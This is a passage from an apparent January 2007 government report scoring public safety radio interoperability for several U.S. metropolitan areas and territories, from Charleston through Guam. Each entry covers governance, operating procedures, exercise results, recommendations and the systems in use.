agency communications center • Continue to implement regional interoperability SOPs across all participating agencies • Continue basic and advanced training and exercises on SOPs (e.g., system resources) and for NIMS/ICS to ensure that all participating first responder agencies, particularly rural agencies, attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% Multi-agency communications in the Charleston area is regularly accomplished using two 800 megahertz (MHz) systems and a very high frequency (VHF) shared system, along with national shared channels. During the TICP validation exercise, evaluators noted that the use of these systems “appeared second nature to most of the responding organizations and disciplines.” Because the area is served by shared systems, the need for gateway patches is diminished. If gateways are used, sufficient training should be given to ensure proficient and proper use. Despite minor equipment usage issues, the exercise After Action Report noted, “[I]nteroperability was continuously maintained for participation personnel throughout the duration of the exercise.” Despite these demonstrated successes, the TICP validation exercise was limited in its inclusion of federal agency participants. Officials from the area report that federal agencies are fully coordinated in the LICC and participate in multijurisdictional response as demonstrated through real world events. The area is encouraged to build on its success by continuing to further integrating state, federal, tribal, and support agencies in future tests. Recommendations: • Continue to involve state and federal agencies (e.g., public health, Federal Bureau of Investigation, U.S. Coast Guard) in day-to-day events and future exercises • Consider adding interoperable communications as an evaluation component for all future exercises and day-to-day activities Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview Charleston County, Dorchester County and the City of Charleston use shared, 800 MHz, Motorola SmartZone™, analog systems (City of Charleston and Charleston County systems) that can be used to communicate with most local and county agencies. The state also has a statewide system (Palmetto 800 MHz SmartZone analog system) that is used by agencies in Berkeley and Dorchester counties. Berkeley County has a separate VHF system that is used for primary communications and is interoperable with the other counties using gateways and cache radios. Berkeley, Charleston, Dorchester counties and the Charleston Police Department also have 800 MHz cache radios. Most these radios are from Charleston County. Charleston and Dorchester counties have Raytheon JPS Communications ACU-1000 and Communications-Applied Technology Incident Commander’s Radio Interface (ICRI) gateways. The Charleston Police Department also has an ICRI gateway, and the State of South Carolina has an ACU-1000 gateway. Charleston County and emergency medical services have shared 800 MHz channels. Berkeley County is also purchasing an ICRI gateway. Urban/Metropolitan Area B-34 January 2007 Tactical Interoperable Communications Scorecards Sioux Falls (South Dakota) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Advanced Implementation Standard Operating Procedures: Advanced Implementation Usage: Advanced Implementation South Dakota designated Sioux Falls as its metropolitan area (area), which includes the City of Sioux Falls and the counties of Minnehaha and Lincoln. Governance: Advanced Implementation South Dakota has demonstrated strong governance across multiple jurisdictions. The area’s Metro Management Council (composed of representatives from the City of Sioux Falls, Minnehaha County, and Lincoln County) developed the regional Tactical Interoperable Communications Plan (TICP). The communications committee includes the area’s public support disciplines and local leadership, but appears to lack federal involvement, which would be beneficial to include in the future. The area has published and active agreements, which are frequently updated and reviewed. South Dakota should be commended for its multiyear funding plan that takes into account local and state funding. Once revised, the area should distribute the strategic plan to all regional public safety agencies. Recommendations: • Proactively recruit new participants, including state and federal agencies • Align local and state strategic planning efforts to promote regional interoperability needs are met Standard Operating Procedures (SOP): Advanced Implementation Previously established communications policies and procedures from the area were incorporated into the TICP, thereby providing a solid basis for implementing the SOPs across the area. These formalized SOPs are used regularly, and updates are frequently distributed to all public safety agencies. The area has been practicing the interoperable communications aspects of the National Incident Management System (NIMS)/Incident Command System (ICS) for more than 1 year. Despite some minor glitches in the area’s exercise (e.g., the ICS Form 205 was not updated throughout the exercise and the Communications Unit Leader was not clearly identified to the participating agencies), the exercise evaluators stated that the area generally performed well. Recommendations: • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Advanced Implementation The area successfully demonstrated correct use of the available interoperable communications equipment (e.g., statewide radio caches, national shared channels, gateways, statewide system) during the TICP validation exercise. For example, users demonstrated familiarity with set-up and effective use of cached radios after instruction by the radio cache manager. The area also demonstrated strong participation from the Urban/Metropolitan Area B-35 January 2007 Tactical Interoperable Communications Scorecards state and federal agencies during the exercise. Sioux Falls officials indicate that shared channels and the shared system are used on a daily basis, and this day-to-day familiarity with the available interoperability solutions was adequately demonstrated by area first responders during the validation exercise. Recommendation: • Consider adding communications interoperability as component for all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview South Dakota employs a statewide very high frequency (VHF) digital trunked radio system that consists of tower sites across the state networked to a controller located in Pierre. Roaming allows the user to traverse the state without losing communications, and the system allows individual agencies to maintain private communications with agency talk groups. The digital aspects of the system allow for clear communications over 90 percent of the geographic area of the state, including Sioux Falls in Minnehaha County. Lincoln County uses its own conventional ultra high frequency radio system. Interoperability between Minnehaha and Lincoln counties is achieved by mobile repeaters and portable radios programmed on the statewide trunked system. A backup conventional system is in place to allow conventional VHF radios access to the system via dispatcher-enabled console patch. The metropolitan area uses a mixture of shared channels and talk groups, gateways, and cached radios to provide interoperability among regional first responders. Urban/Metropolitan Area B-36 January 2007 Tactical Interoperable Communications Scorecards Nashville (Tennessee) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Intermediate Implementation Usage: Established Implementation The State of Tennessee designated Nashville as its metropolitan area (area), which includes the City of Nashville, State Capitol Region and agencies within the Metropolitan Davidson County area. Governance: Intermediate Implementation 10% 10%15% 15% The Nashville area has established an Interoperability Committee within the Tennessee Homeland Security District 5 that is beginning to establish interoperability as a priority across the area. The Interoperability Committee is a fairly new, ad hoc group that was established to develop the Tactical Interoperable Communications Plan (TICP). The area’s officials stated that the area was formalizing agreements among the member agencies, but current partnerships were still primarily based on verbal agreements. The continued development of documented agreements would support the formalization of these partnerships to ensure clear roles and responsibilities relating to communications interoperability issues and decisions. A strategic plan for the area has been developed, but it has not yet been approved by the member agencies, making it difficult to determine whether area agencies are committed to carrying out the plan. Fiscal support for the area’s interoperability efforts has come primarily through grant funding and does not address funding for recurring expenses (e.g., operations and maintenance). It is not clear whether these funds are being used for priorities established by the regionwide governance group or whether long-term funding strategies have been developed. Recommendations: • Establish a committee charter and encourage formal membership to migrate to a decision-making group that includes all first responder agencies • Document and formalize the necessary agreements (e.g., memoranda of understanding), to include local, state, and federal partnerships, to achieve regional interoperability • Encourage full review, approval, adoption, and acceptance of the strategic plan by all participants and attempt to align local and state strategic planning efforts to ensure that regional interoperability needs are met • Encourage the development of a regional interoperability funding plan as part of the strategy, including long-term (e.g., 3 to 5 years) funding sources (in addition to grants) • Consider the direct involvement of a high-level official, with political and fiscal authority, to specifically focus on communications interoperability Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% The Nashville area has based its TICP on components of the Tennessee Emergency Management Plan already in place to address policies and procedures for communications interoperability. The TICP has since been disseminated to the agency dispatch centers to promote awareness of the procedures. During the TICP validation exercise, the participating agencies demonstrated success in the use of the equipment SOPs as defined in the TICP. The area has been working to implement the National Incident Management System (NIMS)/Incident Command System (ICS) over the last 6 months, which implies that the area is still in the 10% 10%15% 15% 15% 20% 20% 20% 10% 10%15% 15% Urban/Metropolitan Area B-37 January 2007 Tactical Interoperable Communications Scorecards earlier stages of implementing NIMS/ICS policies and procedures. This fact could be confirmed based on the degree of difficulty the area faced in following command and control procedures in its exercise (e.g., multiple incident commanders, difficulty identifying the Communications Unit Leader [COML]). This should be a focus for continued training and exercise. Recommendations: • Continue to maintain, review, and update SOPs, and disseminate to all included organizations • Ensure that regional SOPs are aligned with those documented in statewide operations plans • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% The area uses shared channels and shared system (Nashville 800 megahertz [MHz] system) on a daily basis and demonstrated proficiency in this area during the TICP validation exercise. Gateways and radio caches are available for agencies with disparate systems, and both methods were successfully used during the exercise. Despite the active participation of the state in TICP development, there was little state or federal participation in the validation exercise. The area is encouraged to build on its successful exercise and further integrate State, Federal, and support agencies in future tests. Recommendations: • Continue to exercise and train on applicable means of communications interoperability to improve familiarity of use • Involve state and federal agencies (e.g., Tennessee Department of Health, Department of Transportation) in training and exercises • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview Four shared systems are in use in the greater Nashville area, including two 800 MHz trunked systems and two very high frequency (VHF) systems. There are also various VHF, ultra high frequency (UHF), 700 MHz, and 800 MHz mutual aid channels in the area. Many gateways and consoles are available for patching; however, the Nashville area prefers to use patches as a last resort. The Tennessee Emergency Management Agency (TEMA) assumes that the TICP will be expanded to include counties surrounding the Nashville area. The TICP is the basis for a coordinated approach to interoperability communications in the area; however, future funding will be coordinated through TEMA. Coordination with TEMA will ensure that TICP radio equipment purchases by independent jurisdictions are managed properly. Urban/Metropolitan Area B-38 January 2007 Tactical Interoperable Communications Scorecards Salt Lake City (Utah) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Advanced Implementation Standard Operating Procedures: Intermediate Implementation Usage: Established Implementation Utah has designated Salt Lake City as its metropolitan area (area), which includes all cities, townships, and jurisdictions within Salt Lake County. Governance: Advanced Implementation The Utah Wireless Integrated Network (UWIN) is successful in establishing communications interoperability as a regional priority. The UWIN, a wireless intergovernmental network that will leverage existing state resources (e.g., Utah Communications Agency Network [UCAN]), was established by executive order of the governor in November 2003. Within UWIN, there is a Governance Board and a Technology Steering Committee that include the local public safety, state, and federal agencies. The area should be commended for having formal and active agreements that facilitate interoperability (including the Tactical Interoperable Communications Plan [TICP]) that are signed by all included organizations and reviewed after every update. While strategic goals have been established through the UWIN, the area appears to lack a formal strategic plan focused on interoperable communications. Despite the apparent lack of a strategic plan, Salt Lake City should be commended as a model for how its budget and communications equipment procurement decisions are made with consideration for regional interoperability, including covering recurring costs (operations and maintenance). The area has also demonstrated a successful long-term funding strategy for the implementation of the UCAN system. Based on the activities of the governor in creating UWIN and the subsequent actions of the group, it appears that there is strong local, regional, and state support for interoperable communications in Salt Lake City. Recommendation: • Develop a strategic plan beyond the operational focus of the TICP, with participant approval, adoption, and acceptance Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% The TICP provided the area with the first formal regional interoperable communications SOPs. The area participated in additional training focused on SOPs, and has taken further steps to disseminate these policies to public safety agencies within the area, including to dispatch centers. With the recent adoption of the TICP, the area has begun implementing the National Incident Management System (NIMS)/Incident Command System (ICS) to fire, law enforcement, and emergency medical service agencies. While the area indicated that both equipment SOPs and NIMS/ICS procedures have not been formally adopted, the exercise reflected proficiency in execution of the practices. However, it was noted in the After Action Report (AAR) that there was confusion with communications unit roles and responsibilities during the event. Recommendations: • Continue efforts to implement SOPs as formalized through the TICP 15% 20% 20% 20% 10% 10%15% 15% Urban/Metropolitan Area B-39 January 2007 Tactical Interoperable Communications Scorecards • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% Most of the public safety agencies in the area use the existing regional shared system (UCAN) as their primary communications system. The AAR indicates that area’s participants are accustomed to working together as a team and are able to demonstrate proficiency in using interoperable communications when needed. While patches were used effectively in some areas of the exercises, consistent use of gateways was not demonstrated in the exercise. In addition, although several large area agencies operate radio caches, their deployment was not practiced during the TICP validation exercise. Recommendations: • Regularly train, test, and exercise deployment of regional interoperability resources (e.g., gateway) to improve proficiency • Consider adding communications interoperability as component for all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overv Technology Overv Technology Overv Technology Overview iew iew iew The UCAN provides Motorola® 800 megahertz (MHz) SmartZone™ infrastructure in the Salt Lake City area. Virtually all public safety agencies in the area use UCAN as their primary communications system. The only exceptions are Salt Lake City, which operates a Motorola SmartZone 800 MHz Specialized Mobile Radio system within its jurisdictional boundary, and Murray City, which operates a conventional 800 MHz network within its jurisdictional boundary. The State of Utah owns and operates Motorola Omni-Link infrastructure in the Salt Lake area that enables interagency connectivity between UCAN, Salt Lake City, and other communications resources. The UCAN near-term focus appears to be on re-banding, which includes replacing some radios, reprogramming many (i.e., 15,500) radios, retuning infrastructure (60 sites and 26 standalone repeaters). The UCAN, along with Motorola Omni-Link infrastructure, will provide additional dispatch center patches statewide. This type of interoperability will also be used for future mutual-aid solutions. The UWIN Technology Steering Committee is also addressing an initiative for a broadband wireless pilot and a request for proposals that could lead to interoperable broadband communications in the more distant future. Urban/Metropolitan Area B-40 January 2007 Tactical Interoperable Communications Scorecards Northeast Quadrant (Vermont) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Established Implementation Standard Operating Procedures: Intermediate Implementation Usage: Intermediate Implementation The State of Vermont has designated the “Northeast Quadrant” as its metropolitan area (area). The Northeast Quadrant includes Caledonia, Essex, and Orleans counties. Governance: Established Implementation 15% 20% 20% 20% There is demonstrated political and fiscal leadership in the area with a strong push toward statewide interoperability. Interoperable communications funding is a priority for the area and the state as a whole; budgets are developed and equipment is procured according to strategic goals. However, funding is currently based on federal grants, and there is no long-term regional funding plan for recurring expenses, without which there is no guarantee of continued ability to operate and maintain existing interoperability infrastructure. The Vermont Communications Committee (VCOMM) established the Regional Interoperable Communications Committee (RICC) in March 2006 to create the Tactical Interoperable Communications Plan (TICP). The RICC includes local, state, and federal representation and has both a technical and an operations working group. The area has published and active agreements (signed memoranda of understanding [MOU] for VCOMM) but has not yet put the agreements into practice. There are formal partnerships among the Vermont Sheriff’s Association and the Vermont Police Association, and informal partnerships with the remaining public safety agencies in the area. The area is working toward the development of a regional strategic plan but it has not yet been adopted by all agencies, and it is unclear whether the plan is aligned with statewide strategic planning efforts. Recommendations: • Ensure that all applicable local, state, and federal agencies (and international border interoperable communications efforts as applicable) are involved in the decision-making group and define roles and responsibilities as part of the group • Document and formalize agreements (e.g., MOUs) among all participating agencies to achieve regional communications interoperability • Continue to work toward approval, adoption, and acceptance of the regional strategic plan • Clarify the relationship between the regional and statewide strategic planning efforts • Incorporate a regional interoperability funding strategy into the strategic plan, with consideration for funding models (in addition to grants) that can leverage local, regional, and statewide strategic planning efforts • Continue to broaden and champion a governance structure that would more fully support regional interoperability Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% The TICP provides the first regional communications SOPs for the Northeast Quadrant. The plan is still under development and will be formalized and disseminated to participating agencies in fiscal year 2007. National Incident Management System (NIMS)/Incident Command System (ICS) is a high priority for the public safety agencies at local, county, and state levels but has only recently been implemented. Recent 10% 10%15% 15% 15% 20% 20% 20% 10% 10%15% 15% Urban/Metropolitan Area B-41 January 2007 Tactical Interoperable Communications Scorecards NIMS/ICS implementation is indicative of lower responder familiarity of command and control SOPs. The exercise demonstrated the participants had initial confusion in how to strictly follow the SOPs for command and control responsibilities, including the Communications Unit Leader; however, once established they were able to perform the required duties. During the exercise, the participants demonstrated a need for further training on the regional SOPs for gateways. Recommendations: • Ensure all regional interoperability SOPs are incorporated into the TICP and distributed to participating agencies • Regularly practice SOPs to increase proficiency in their use (e.g., gateway SOPs) • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Intermediate Implementation 10% 10%15% 15% Northeast Quadrant officials indicated that there is little need for interoperable communications in the area. The area does not regularly use its interoperable communications equipment as a result. During the TICP validation exercise, the participants were successful in using shared channels and gateways for interoperability, and amateur radios were used for backup communications. The exercise involved public safety agencies across all levels of government (e.g., Vermont State Police, Customs and Border Protection), which is commendable. Recommendations: • Regularly test and exercise deployment of all applicable regional interoperability resources, including gateways and shared channels, to improve proficiency • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview Vermont's Northeast Quadrant has limited interoperability options because there are no shared systems or available cache radios. Limited interoperability could be established through shared channels, although not all agencies serving the metropolitan area have access to these shared channels. Alternatively, interoperability could be enabled using console patches at dispatch centers or by use of either the City of Newport or the state mobile gateways. Long-term goals are to expand the number of radio channels available, specifically the nationally available very high frequency (VHF) VCALL/VHF VTAC and ultra high frequency (UHF) UCALL/UHF UTAC channels. The current network includes multiple agencies on state, county, and local levels that use the NIMS/ICS. These agencies include the Vermont Department of Health and Vermont Emergency Management. Most of the existing dispatches in Vermont are done through public safety answering points (PSAP). The state police have four PSAPs. The PSAPs perform various services for law enforcement, fire, and emergency medical services. This shared system is used on a daily basis. The existing network will be expanded to assist selected communities with core coverage needs. Lastly, services will be expanded to include data communications for the first responder community, when funding is available, and to assist first responder entities in enhancing their internal communications. Urban/Metropolitan Area B-42 January 2007 Tactical Interoperable Communications Scorecards Morgantown (West Virginia) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Established Implementation Usage: Established Implementation The State of West Virginia has designated the “Tri-County” area of Harrison, Marion, and Monongalia counties as its metropolitan area (area). Governance: Intermediate Implementation 10% 10%15% 15% The State of West Virginia has taken the lead in developing the West Virginia Incident Response Plan (WVIRP), and a multidiscipline governing board has been designated to oversee this statewide effort. Under the leadership of Harrison County Emergency Services, the Tri-County Region was part of the first implementation phase of the WVIRP radio system. The Tactical Interoperable Communications Plan (TICP) was developed for this area as part of this effort. Informal agreements are in place throughout the area to ensure interoperability. While the state may be involved in strategic planning (including multistate strategic planning), it is unclear whether the Tri-County area has developed a strategic plan for their area. It is also unclear whether the strategic plan addresses regional agencies not currently supported by the tri-county system, such as the fire community in Monongalia County. Funding is currently based on federal grants and there is no long-term regional funding plan based on sustainable funding sources for recurring expenses, without which there is no guarantee of continued ability to operate and maintain existing interoperability infrastructure. . Recommendations: • Continue to participate in statewide planning committee efforts, and support multi-state interoperability efforts • Document and formalize agreements (e.g., memoranda of understanding) among all participating agencies to achieve regional interoperability • Develop and implement a strategic plan (beyond the operational focus of the TICP), with participant approval, adoption, and acceptance • Ensure that all public safety entities are included in a strategic plan (e.g., clarify whether Monongalia fire service is involved) • Align local and statewide strategic planning efforts to ensure that regional interoperability needs are met • Incorporate a regional interoperability funding strategy into strategic plan, such as considering funding models (in addition to grants) that can leverage local, regional, and statewide strategic planning efforts • Continue to broaden and champion a governance structure that would more fully support regional interoperability Standard Operating Procedures (SOP): Established Implementation 15% 20% 20% 20% The Tri-County area’s TICP incorporates policies and procedures for the use of the state’s new West Virginia Interoperability Radio Project (WVIRP) Project 25 (P25) system, which was developed under a DHS Interoperable Communications Equipment grant. These policies have been disseminated to all included agencies, as well as regional dispatch centers. During the TICP validation exercise, the participants successfully established interoperable communications through the shared system and console patching (the 10% 10%15% 15% 15% 20% 20% 20% 15% 20% 20% 20% Urban/Metropolitan Area B-43 January 2007 Tactical Interoperable Communications Scorecards area’s only means of interoperability). West Virginia began implementing the National Incident Management System (NIMS) less than one year ago. While still a new process for the area, NIMS/ Incident Command System (ICS) was demonstrated during the exercise with only minor problems. As detailed in its exercise Improvement Plan, gaps in these areas will be addressed through additional training and exercises. Recommendations: • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Established Implementation 15% 20% 20% 20% The area is proficient at regularly using console patches to connect multiple agencies across different systems, including an ultra high frequency (UHF) system. The use of these console patches and the UHF shared system were proficiently demonstrated during the TICP validation exercise. It was noted in the exercise that all jurisdictions were familiar with the shared system’s use and operation. It should be noted that Morgantown does not have any radio caches or mutual aid channels available. The area had a successful exercise, but did not integrate all state, federal, and selected local agencies (e.g., Monongalia Fire Service), which could present interoperability challenges. Recommendations: • Involve local, state, and federal agencies (e.g., Monongalia fire service, National Guard) in training and exercises • Consider adding communications interoperability as component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The agencies within the Tri-County area operate on multiple conventional, very high frequency and UHF radio systems. Interoperability is achieved through console patches as well as the WVIRP, a P25 standards-compliant, digital, trunked, UHF radio system. The consoles have the ability to patch channels/talk groups from all systems and all counties in the Tri-County area. These consoles are located in three dispatch centers that are staffed around the clock. The Tri-County area will continue to use console patches and the WVIRP radio system. The WVIRP is expected to be implemented statewide in the future. Urban/Metropolitan Area B-44 January 2007 Tactical Interoperable Communications Scorecards Laramie County (Wyoming) Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Advanced Implementation Standard Operating Procedures: Advanced Implementation Usage: Advanced Implementation The State of Wyoming has designated Laramie County, the City of Cheyenne, and public safety agencies serving state government in the Capitol Complex as its metropolitan area (area). Governance: Advanced Implementation The Wyoming Public Safety Communications Commission (PSCC) has successfully established communications interoperability as a public safety priority in the area. The PSCC was created and formalized in 2004 by state statute and is the primary communications committee in the area. The PSCC consists of five working groups with significant local, state, and federal participation—Administration and Funding, WyoLink Operations, Spectrum, Inter-operability Executive Committee, and the State Agency Law Enforcement Communications Committee (SALECS). The Wyoming PSCC is in the process of developing and publishing active agreements (e.g., WyoLink Handbook and Membership Agreement), but currently is operating with informal and undocumented agreements. Laramie County has a strategic plan in place that specifically supports the use of a shared, statewide system (WyoLink) that allows interoperable communications among the agencies in the area. The area has a long-term funding plan in place to build, maintain, and operate the WyoLink system through the use of state and federal funding. The governor has been active in prioritizing interoperability for public safety agencies in both the state and in Laramie County with proven political and fiscal support. Recommendations: • Document and formalize the necessary agreements (e.g., memoranda of understanding), including local, state, federal, and tribal partnerships to achieve regional interoperability Standard Operating Procedures (SOP): Advanced Implementation The area demonstrated successful consolidation of separate jurisdictional SOPs (City of Cheyenne and Laramie County’s recently consolidated communications center and SOPs) into the Tactical Interoperable Communications Plan (TICP). These regional SOPs for interoperability have been distributed to all organizations, and Laramie County plans to participate in additional TICP and Communications Unit Leader training. The area has indicated that as the WyoLink system becomes fully operational across the state, updated SOPs will be included in the TICP and disseminated. Laramie County began implementing the National Incident Management System (NIMS)/Incident Command Structure (ICS) more than one year ago, and all public safety agencies in the area use these procedures. Overall, command and control was performed successfully during the TICP validation exercise; however, because of the limited scope of the exercise, assessing the use of regional SOPs and command and control in a multijurisdictional environment was limited. Laramie County indicated that the TICP would be expanded to include surrounding jurisdictions in the future. Recommendations: • Update and disseminate the TICP once the WyoLink system is implemented Urban/Metropolitan Area B-45 January 2007 Tactical Interoperable Communications Scorecards • Continue basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Advanced Implementation Laramie County frequently uses gateway console patches in day-to-day operations and uses shared channels daily. The area fully demonstrated interoperable communications capabilities (e.g., through shared channels and gateways), including state and federal agencies, although the TICP validation exercise was limited in scope to agencies in Laramie County. In the future, multijurisdictional exercises should test the use of the new WyoLink system within the area. Recommendations: • Conduct more robust exercises to test interoperable communications capabilities (e.g., additional participants, additional local, state, federal, and tribal agencies) • Consider adding communications interoperability as a component of all future exercises Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overvie Technology Overvie Technology Overvie Technology Overviewwww Public safety communications in the State of Wyoming currently take place on multiple standalone very high frequency (VHF) radio systems. The state is currently replacing these outdated systems with a statewide VHF high band digital trunked system designed to meet the Project 25 standards. The installation is scheduled in phases, with the first phase providing coverage for Laramie County. This first phase of the installation is expected to be complete by the end of 2006, and the entire system is planned to be completed by late 2007. Urban/Metropolitan Area B-46 January 2007 Tactical Interoperable Communications Scorecards American Samoa Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Intermediate Implementation Standard Operating Procedures: Early Implementation Usage: Early Implementation American Samoa designated the entire Territory of American Samoa as its metropolitan area (area). The area consists of five rugged, highly eroded (and extinct) volcanic islands and two coral atolls. The American Samoa islands are Tutuila, Aunu’u, Ofu, Olosega, Ta’u, Swains, and Rose Islands. (Swains and Rose Islands are not covered under the systems discussed in this summary.) Governance: Intermediate Implementation 10% 10%15% 15% The Territorial Emergency Communications Committee (TECC) was established in 2005 and reports to the Office of the Governor. TECC oversaw the creation of the Tactical Interoperable Communications Plan (TICP); this formal committee includes local agencies, the National Oceanic and Atmospheric Administration, and the Federal Aviation Administration. This mix of local and federal participation represents a positive step in achieving multijurisdictional communications interoperability plans. Beyond the operational focus of the TICP, the area does not have any formal interoperable communications agreements and has a mix of formal and informal partnerships among the public safety organizations in the area. American Samoa does not have a strategic plan for regional interoperable communications, but has recently initiated planning efforts. This strategy, as it develops, can also support the prioritization of goals so that funding can be planned accordingly. Currently, jurisdictions develop budgets within their jurisdiction through federal grant money allocations and have no other sustainable funding sources. Interoperable communications planning began in 2005 for American Samoa, but since that time no additional federal grant monies have been allocated to the area for future investments and lifecycle costs. With a recent push for more interoperability support and the governor’s direct involvement, leadership in American Samoa provides political support for regional interoperability. Recommendations: • Clarify federal membership in the decision-making group (e.g., TECC), and document roles and responsibilities • Develop, document, and formalize agreements (e.g., signed memoranda of understanding [MOU] with defined roles and responsibilities) among all participating agencies relating to regional interoperability • Reference all applicable agreements (e.g., MOUs, intergovernmental agreements) in the TICP and store them in an accessible format and establish a regular review process so they remain relevant • Develop, document, and implement a regional strategic plan (beyond the operational TICP) with participant approval, adoption, and acceptance, that takes into account a long-term communications funding strategy (beyond grants) • Align regional and territorywide strategic planning efforts to ensure that regional needs are met • List near-term territorywide interoperability funding priorities and identify a funding plan • Develop and implement a territorywide approach to long-term (e.g. 3 to 5 years) sustainable funding that is consistent with the strategic plan • Continue to champion a governance structure that will support regional communications interoperability, and involve senior regional government leadership in long-term funding plans 10% 10%15% 15% 10%5% 5% 5% 10%5% 5% 5% Urban/Metropolitan Area B-47 January 2007 Tactical Interoperable Communications Scorecards Standard Operating Procedures (SOP): Early Implementation 10%5% 5% 5% The SOPs in the American Samoa TICP represent the area’s first regional plan for interoperable communications. Despite having the TICP adopted by all participating agencies, no steps have been taken to disseminate it to ensure its incorporation in operations (e.g., distribution to all included agencies and dispatch centers). During the exercise, participants did not demonstrate proficiency in executing the TICP policies and procedures (e.g., problems activating gateways). The area has not yet begun to implement the National Incident Management System (NIMS)/Incident Command System (ICS), and participants were unable to demonstrate proficiency during the exercise (e.g., unified command was not established, Communications Unit Leader was designated but not announced). Recommendations: • Develop regional interoperability SOPs (beyond the TICP) with acceptance by first responder agencies • Distribute and put SOPs into practice throughout the territory through regular training, exercises, and usage • Develop training policies and requirements for inclusion in the TICP to ensure broad understanding of the SOPs • Initiate basic and advanced training and exercises on SOPs (include communications unit implementation consistent with the TICP) to ensure that all participating first responder agencies attain and maintain NIMS/ICS compliance Usage: Early Implementation 10%5% 5% 5% American Samoa does not frequently encounter situations that require communications interoperability solutions; however, its shared system is used for day-to-day operations. TICP validation exercise participants communicated primarily through face-to-face communications rather than through interoperable communications equipment, but were able demonstrate some familiarity with gateways (e.g., fixed gateway patched successfully) when required. The limited scope of the exercise did not provide an opportunity for participants to fully stress their interoperable communications capabilities. As such, the participants were asked to test the use of their available interoperability assets and did not demonstrate proficiency in their use (e.g., incident command experienced problems operating the cache radio). Additionally, because the exercise was conducted in a mix of English and Samoan, and some documentation is in Samoan, outside responders may encounter a language barrier during a mutual aid response. Recommendations: • Regularly test and exercise deployment of and procedures for territory’s interoperability resources (e.g., gateways) to improve proficiency and familiarity of use • Consider adding interoperable communications as an evaluation component for all future exercises and day-to-day activities Below is a summary of the area’s existing technology used to provide communications interoperability: Technology Overview Technology Overview Technology Overview Technology Overview The territory’s public safety personnel use an ultra high frequency (UHF) radio system, with one channel for fire and police. More channels have recently been found, and the Territorial Office of Homeland Security will work with Department of Public Safety to use them. The Emergency Medical Services uses its own UHF radio system. Airport Rescue and Fire Fighting is on an aviation band very high frequency radio system. All radio systems have severe coverage and maintenance issues. The area would like to move toward a Project 25 compliant radio system for all agencies on the islands and would also like to obtain communications links to nearby islands for purposes of marine interdiction and mutual aid. A lack of funding is the main issue preventing interoperability progress. Urban/Metropolitan Area B-48 January 2007 Tactical Interoperable Communications Scorecards Guam Tactical Interoperable Communications Scorecard Summary Summary Summary Summary Governance: Established Implementation Standard Operating Procedures: Intermediate Implementation Usage: Intermediate Implementation Guam designated the entire island territory of Guam as its metropolitan area (area). Governance: Established Implementation 15% 20% 20% 20% The Interoperable Communications Working Group (ICWG) group, which created the Tactical Interoperable Communications Plan (TICP), includes all public safety organizations in the area, and reports directly to the Homeland Security Advisor and the Governor. Guam operates through one level of government and has formalized agreements within the government; the area is developing additional memoranda of understanding with the Department of Defense (DoD), U.S. Coast Guard, and the National Guard. Although Guam has encountered problems in formalizing an agreement, its efforts to work with DoD to establish such an agreement are commendable. Guam does not currently have a strategic plan for regional interoperable communications, but appears to be developing regional strategic goals. The Guam Police Department provides for the maintenance costs associated with the area’s shared system backbone, but the area does not have a long-term funding strategy for additional lifecycle costs specific to interoperability needs. The Governor and other regional leadership have clearly made regional interoperability a political priority. Recommendations: • Continue to involve area and federal organizations in the decision-making group (e.g., ICWG), and document roles and responsibilities as part of group • Establish a regular review process to ensure that agreements remain current and relevant • Develop, document, and implement a regional strategic plan (beyond the operational TICP) with participant approval, adoption, and acceptance, that takes into account a long-term communications funding strategy (beyond grants) • Align regional and area-wide strategic planning efforts to ensure that regional interoperability needs are met • Develop and implement a area-wide approach to long-term (e.g., 3 to 5 years) sustainable funding that is consistent with the strategic plan Standard Operating Procedures (SOP): Intermediate Implementation 10% 10%15% 15% The SOPs included in the Guam TICP represent the area’s first regional plan for interoperable communications, but the area has taken some steps to disseminate the TICP (e.g., TICP Implementation Workshop to train area agencies). During the exercise, participants did not demonstrate familiarity with the TICP policies and procedures (e.g., shared talk groups documented in TICP are not programmed into radios). While no training procedures currently exist, there are plans to establish these procedures. National Incident Management System (NIMS)/Incident Command System (ICS) has not yet been implemented in Guam, but the area is working to establish compliance among the public safety organizations. 10% 10%15% 15% 10% 10%15% 15% 15% 20% 20% 20% Urban/Metropolitan Area B-49 January 2007 Tactical Interoperable Communications Scorecards Recommendations: • Develop regional communications interoperability SOPs (beyond the TICP) with acceptance by 